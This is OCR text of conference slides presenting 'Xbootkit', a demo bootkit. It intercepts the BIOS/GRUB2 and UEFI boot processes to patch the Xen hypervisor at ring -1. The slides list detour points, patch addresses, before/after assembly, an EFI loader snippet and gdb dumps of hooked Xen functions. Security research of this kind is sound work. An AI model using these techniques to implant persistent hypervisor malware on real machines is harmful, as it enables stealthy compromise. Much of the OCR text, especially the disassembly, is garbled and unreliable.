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Introduction

What is Xen?
Xen is an open-source hypervisor, which has been used as the basis for
different many commercial and academic applications.

How to attack it?
Using a demo called Xbootkit to attack Xen by intercepting the boot process to
get the “ring -1” privilege.

What is the difference?
Windows: Eeye-BootRoot, VVbootkit, Stoned-bootkit, TDL4, Dreamboot......
Xen: ring -1 ?7?



Xen boot process (x64)
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GRUB2 is a bootloader with support for many modern day computer systems. |t is
the second version of the GRand Unified Bootloader.

UEFI (The Unified Extensible Firmware Interface ) defines a software interface
between an operating system and platform firmware, which is meant to replace

the Basic Input/Output System (BI0S) firmware interface.



Xen boot process (x64)
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Xen boot process (x64)

BIOS - GRUBZ -

* BIOS: Loads boot into 0x7c00 and transfers the control.

« boot: Loads diskboot into 0x8000 (through 70000h) and transfers the control.

« diskboot: Loads startup_raw into 0x8200 (through 70000h) and transfers the control.

. startup _raw: Enters protect mode to decompress and repair the following memory, and
then transfers the control to startup which is at 0x100000.

» startup: Copies itself to 0x9000 and thansfers the control to grub_main function.

e grub main: Calls grub_file read to load XEN into 0x100000 and transfers the control to
XEN’ s head.



Xen boot process (x64)

UEFI -

UEFI

* UEFI: Loads XEN into memory and transfers the control to boot.



debugStub. | isten. guest64 = "TRUE"
debugStub. hideBreakpoints = "TRUE"
monitor. debugOnStartGuest32 = "TRUE"
bios. bootDelay = "3000"

ida or gdb with VMWARE
target remote 127.0.0.1:8832
target remote 127.0.0.1:8864



Xbootkit 0.1 - Characteristic

e Target:
BIOS + GRUB-2.0.0 + XEN-4. 2.2 (ubuntu—12. 04. 4-x64)
UEFI + XEN-4.2.2 (ubuntu-12.04. 4—x64)

* Privilege:
Ring -1

 Form:
Run completely in memory , no file, no process, no registry==----

e Size:
BIOS + GRUB2 + XEN: less than 2kb
UEFI + XEN: less than 44kb



Xbootkit 0.1 - How to place detours?

» Keep on patching files as they load or relocate just before
transferring control.

* Hook onto next stage and repair or execute the original
instructions in the hooked address of current stage.

» Repeat the above steps, till we reach the kernel, then sit

and watch the system careful ly.
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Xbootkit 0.1 - Where to place detours?

BIOS — GRUEBZ -
BIOS E’A(A)Bi;[ » diskboot —*{ startup_raw startup
grub_main
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Xbootkit 0.1 - Where to place detours?

BI0S — CRUEZ -

* detour for boot: Gets control before boot. Relocates itself into 0x9c000. Hooks int
13h which will be used to place “detour 1 for startup _raw” when startup raw is
loaded (the segment of buffer address = 7000h && the signature of “Oxe6ff’ can be

found ). Loads boot into 0x7c00 and transfers control to it.

0x00008%be : mov edx, DNORD PTR ds:0x8218

0x000089c4: mov edi, 0x832a

0x000089c9: mov ecx, 0x82d2

0x000089%ce: mov eax, 0x82¢c6

0x000089d3: jmp esi —m—— > one of the signature, jump to the startup
0x000089d5: lea eax, [ebx+eax*4]

(gdb) x 0x89d3
0x89d3: 0x048de6ff
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Xbootkit 0.1 - Where to place detours?

BI0S — CRUEZ -

e detour 1 for startup _raw: Gets control just after decompression and repair,
and now it is in protect mode. (this is used to bypass the repair

mechanism of GRUB2). Places “detour 2 for startup_raw’ .

cld 0x0000825d: cld
call EXT_C (grub_reed_solomon_recover) 0x0000825e¢: call 0x859d
jmp  post_reed_solomon 0x00008263: jmp 0x89a2

Now we are in 70000h+ and will be copied to 8200h+. The address of 0x8263 will not be

recovered by grub_reed_solomon_recover

After patch: 0x00008263: jmp 0x9¢205 ——————> places “detour 2 for startup_raw”
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Xbootkit 0.1 - Where to place detours?

BI0S — CRUEZ -

e detour 2 for startup _raw: Gets control just before startup and now startup

is loaded into memory of 0x10000. Places “detour for startup” .

Before patch:
0x000089%ce: mov eax, 0x82cé
0x000089d3: jmp esi

—> one of the signature, jump to the startup
After patch:

0x000089ce: mov esi, 0x9c225 ————> hook startup
0x000089d3: jmp esi
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Xbootkit 0.1 - Where to place detours?

BI0S — CRUEZ -

e detour for startup: Gets control just after startup moving itself from
0x10000 to Ox9000 and now the functions of kernel.img are in the
appropr iate memory (0x9000+). Patches grub file read in grub _main.

Before patch:
0x0010001e: mov esi, 0x9025
0x00100023: jmp esi ———> where to relocate itself

After patch:
0x0010001e: mov esi,0x9c24a —
0x00100023: jmp esi

> hook grub_file_read
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Xbootkit 0.1 - Where to place detours?

BI0S — CRUEZ -

e prolog detour for grub file read: Decides whether the loaded image is XEN
or not via the functions parameter (XEN will be loaded into 0x100000).

After patch:
0x0000c3fb: jmp 0x9c27c¢ ——————> cmp edx, 0x100000

jz found

e epilog detour for grub file read: If it is XEN (now it is loaded into
memory), uses ‘detour 1 for head” to patch it. The patch address is at
O0x100000 where stores a jump instruction that jumps to the real entry of
XEN.

After patch:

0x0000c493: jmp 0x9¢29p ———> if found
cmp [0x100008], 0x1badb002 (magic number)
jz patch head
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Xbootkit 0.1 - Where to place detours?

BI0S — CRUEZ -

Before patch:
0x00100000: jmp 0x25d06b —————> the real entry of Xen

After patch:
0x00100000: jmp 0x9c2cd —-——> patch the last instruction (lret) of head
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Xbootkit 0.1 - Where to place detours?

BI0S — CRUEZ -

Before patch:
0x0025d22f : Iret ———> transfer the control to trampoline

After patch:
0x0025d22f : jmp 0x9c2e7

——> patch trampoline
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Xbootkit 0.1 - Where to place detours?

BI0S — CRUEZ -

Before patch:
0x0008f0c5: mov rax, QWORD PTR ds:0x2 ————— > mov high_start (%rip), %rax
0x0008f0cc: jmp rax —————— > enter into the 64-bit address memory space

After patch:
0x000000000008f0c5: mov rax, 0x9c30f
0x000000000008f0cc: jmp rax

copy itself to 64-bit address memory (Oxffff82c4802f0000 WH+E and can’ t be rewritten) and patches

handle_exception and do multicall.
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UEFI -

UEFI
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Xbootkit 0.1 - Where to place detours?

UEFI -
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Xbootkit 0.1 - Where to place detours?

UEFI -

. Code snippet for “detour 1 for boot”

BS—>LocateHand | eBuffer (ByProtocol, &F i |eSystemProtocol, NULL, &nbHandles, &handleArray) ;
for (i=0; i<nbHandles; i++)
{
err = BS->HandleProtocol (handleArray[i], & i leSystemProtocol, (void **¥)&ioDevice) ;
if(err != EFI_SUCCESS)
continue;
err=ioDevice—>0penVolume (ioDevice, &and|eRoots) ;
if(err != EFI_SUCCESS)
continue;
err = handleRoots—>0pen (hand | eRoots, &bootFi le, Xen_BOOTX64_|IMAGEPATH, EF|_FILE_MODE_READ, EFI_FILE_READ_ONLY) ;
if(err == EFI_SUCCESS)
{
hand|eRoots—>Close (bootFi le) ;
*LoaderDevicePath = FileDevicePath (handleArray[i], Xen_BOOTX64_|MAGEPATH) ;
break;

ret_code = BS—>LoadImage (TRUE, ParentHandle, LdrDevicePath, NULL, O, &XEN_IMAGE_HANDLE) ;

BS—->Hand | eProtocol (XEN_IMAGE_HANDLE, &Loaded ImageProtocol, (void **)&image_info) ;

ret_code = PatchXenBoot |oader (BootkitlImageBase, image_info—>ImageBase, image_info—>ImageSize) ;

BS—>StartImage (XEN_IMAGE_HANDLE, (UINTN *)NULL, (CHAR16 #¥)NULL) ;
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Xbootkit 0.1 - Where to place detours?

UEFI -

Before patch:

FFFF82C4802918FE C7 44 24 08 08 EO 00 00 mov dword ptr [rsp+arg 0], OE008h
FFFF82C480291906 4C 89 04 24 mov [rsp+0], r8
FFFF82C48029190A 48 CA 08 7F retfq 7F08h ————— > help to locate it

After patch:

0x000000003cc918fe: ff 25 00 00 00 00 jmpq  *0x0 (%rip) # 0x3cc91904
0x000000003cc91904: 00 00 add %al, (%rax) Copies itself into 64-bit memory space and patches
0x000000003cc921906: 90 nop handle_exception and do_multicall

0x000000003cc91907: 3d 00 00 00 00 cmp $0x0, %eax
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Demo - Original

Cgdh) disas /r handle_exception
Dump of assembler code for function handle_exception:
OxfFFFE2c480216F48 (+8>: fc cld
OxfFFFE2c480216F47 (+12>: 57 push  »pdi
OxfFFFE2c480216F4a (+22>: 56 push  »esi
BxfFFFE2c488216F4h (+32>: 52 push  »2pdx
OxffEf82c488216fdc <+4>: a1 push  rex Dunp of assembler code for function do_multicall:
OxfFEF82c480216F4d <+50: 58 push  urax OxFFF£82c48081147d0 <+@>: 41 57 push  xr15
BxffffB2c480216f4e <+b>: 41 push  =»r8 e
BxEEEERTCARADLEEED <4051 41 push %19 - E:iiff8264331147d2 {423 48 c7 cB 6@ 838 ff ff moy SOxFLEFLELELLEFBA

g;iiiiggz:gggizigi 2:12;; :i ﬂﬁ:: ::i? Bxf FEFB2c48@1147d9 <+9>: 48 21 M@ and  xpsp.urax
BxEEEFR2cARP216E56 <+143: 53 push  #rbx BuffEf82c4801147de (+123: 43 Bd 18 7f B8 B8 or $Bx7£18, vrax
AxFEEER2cARBA216E57 <+15>: [ push #rhp Bxffff82c4801147e2 {+183: 41 56 push #rld
BxFEFER2c48A216F58 <+162: 41 push  xpi2 Buffff82c4801147e4 {+28>: 41 55 push  »pl3
BxEEEER2cABA216F5a <+18>: 41 push  »ri3 Axffff82c4801147en {+223>: 41 54 push xpl2
OxfFEFB2c48@216F5c {+28>: 41 push  xrid BuffFf82c4801147e8 {+24>: 5o push  xrhp
AxfFEfR2c488216f5e <+223: 41 push #prlh BxfffE82c4801147e9 {+253: 53 push #rhx
End of assembler dump. Bxf FFFR2c48A1147ea {+26>: 48 ec 28 sub Bx28,%rsp
Buf fff82c4801147ee {+38>: 48 al dO AR BB B8 mou BxdB@Cxrax) . “rhp
BuffEF82c4801 1475 €+372: 89 24 14 moy vesi.Bx14Ciprspd
Buf 82048011479 (+413: Baf ad af A1 PA BA @@ bhts1  $Bx8.Bxlal(rhpd
Buf 820480114881 {+49>: 19 zhh xedx, xedx
Buf 820480114803 (+51>: 8% test  Medx.dedx
Bxf 820480114885 (+53>: Baf h? B2 AR BA Jne Bxfff£82c488114ac
4 {do_multicall+756>
Bxf 820480114880 (+592: 48 80 48 B8 BB BA moy BxdBCrax? . Mrax
Buf 820480114812 {+bb>: 48 48 1@ moy Bx1BCxprax? , “rax
Buf 820480114816 <+78>: fo e? Ba BB BA 4@ testh $8x40,Bxae? CGirax)




Demo - After Patch

Cgdb» disas ~r handle_exception
Dump of assemhbler code for function handle_exception:
Bxf fEF82c480216F48 {+@3>: ff 25 B0 98 B0 68 Jmpg #AxACxpip>
B Bxffff82c488216f4e <handle_exception+b>
BxffEF82c480216F4e (+62>: al B8 2f 80 c4 82 ff ff 53 movabs BxL3IfFF

Pc4802f 00, “eax
BxEFFER2c48A216E57 € +153 ¢ push  xrhp Dump of assembler code for function do_multicall:

AxFFEFR2c48A216F58 <+i6>: push wpl? BxfFFF82c4801147d8 <+8>: ff 25 B8 B8 B8 @A Jmpag *AxBxrip)
BxfFEFR2c4R8A216E5a <+18>: push wpld B BOxfEff82c4801147d6 <do_multicall+62
AxfEFF82c48@216F5¢c <+2@>: push wpld BxfFFF82c4881147d6 <{+6>: ed in CadxD . zeax
BAxffFF82c480216f5e (+223>: push »rl5 AxfFFEB2c4801147d7 (+75: aa 2f add #ch, Gepdi)
End of assembler dump. Bxf FEF82c4801147d7 <+9>: 88 c4 82 add SBx82 . xah
AxfEFEB2c4881147de {+122: £f Chad?
BxfEFE82c4881147dd {+135: £ff 98 28 98 928 41 cally *=@x419820280C xraxd

AxFEFEB2c48A1147e3 {+19>: b push “psi

BxfEFE82c4881147e4 {+2083: al push »rld

BxfEFE82c4881147eb (+223: 41 push »prl2

BxfEFfEB2c48P01147el <+24%: push “rhp

AxfffEB2c4B8A1147e? <+25>: puzh wrhoc

BxfFFF82c4801147ea <+262: ec 28 sub SBx28 . xrsp

AxfffFRZ2c48A1147ee <+3@0>: at di AA B@ AR mou AxdACrax)  xrhp

BxfEFEB2c48B1147F5 {+37>: 24 14 moy wesi. Bxl4Cirsp)

AxfFFEB2c48B1147FF (+413: ad a8 81 98 BE 6@ bt=s1l $0x0, Bxlal Czrhpd

BxfEFE82c488114881 {+49>: shh nedx.zedx

AxfEFE82c488114883 {+51>: test redx,.xedx

BxfFFE82c480114885 {+535: bh? B2 6A B8 Jne Bxffff82c480@114ac
4 {do_multicall+756>

BxfFFE82c48011488h {+59>: 80 d@ BA BA BB noy BxdB Cirax) 2prax
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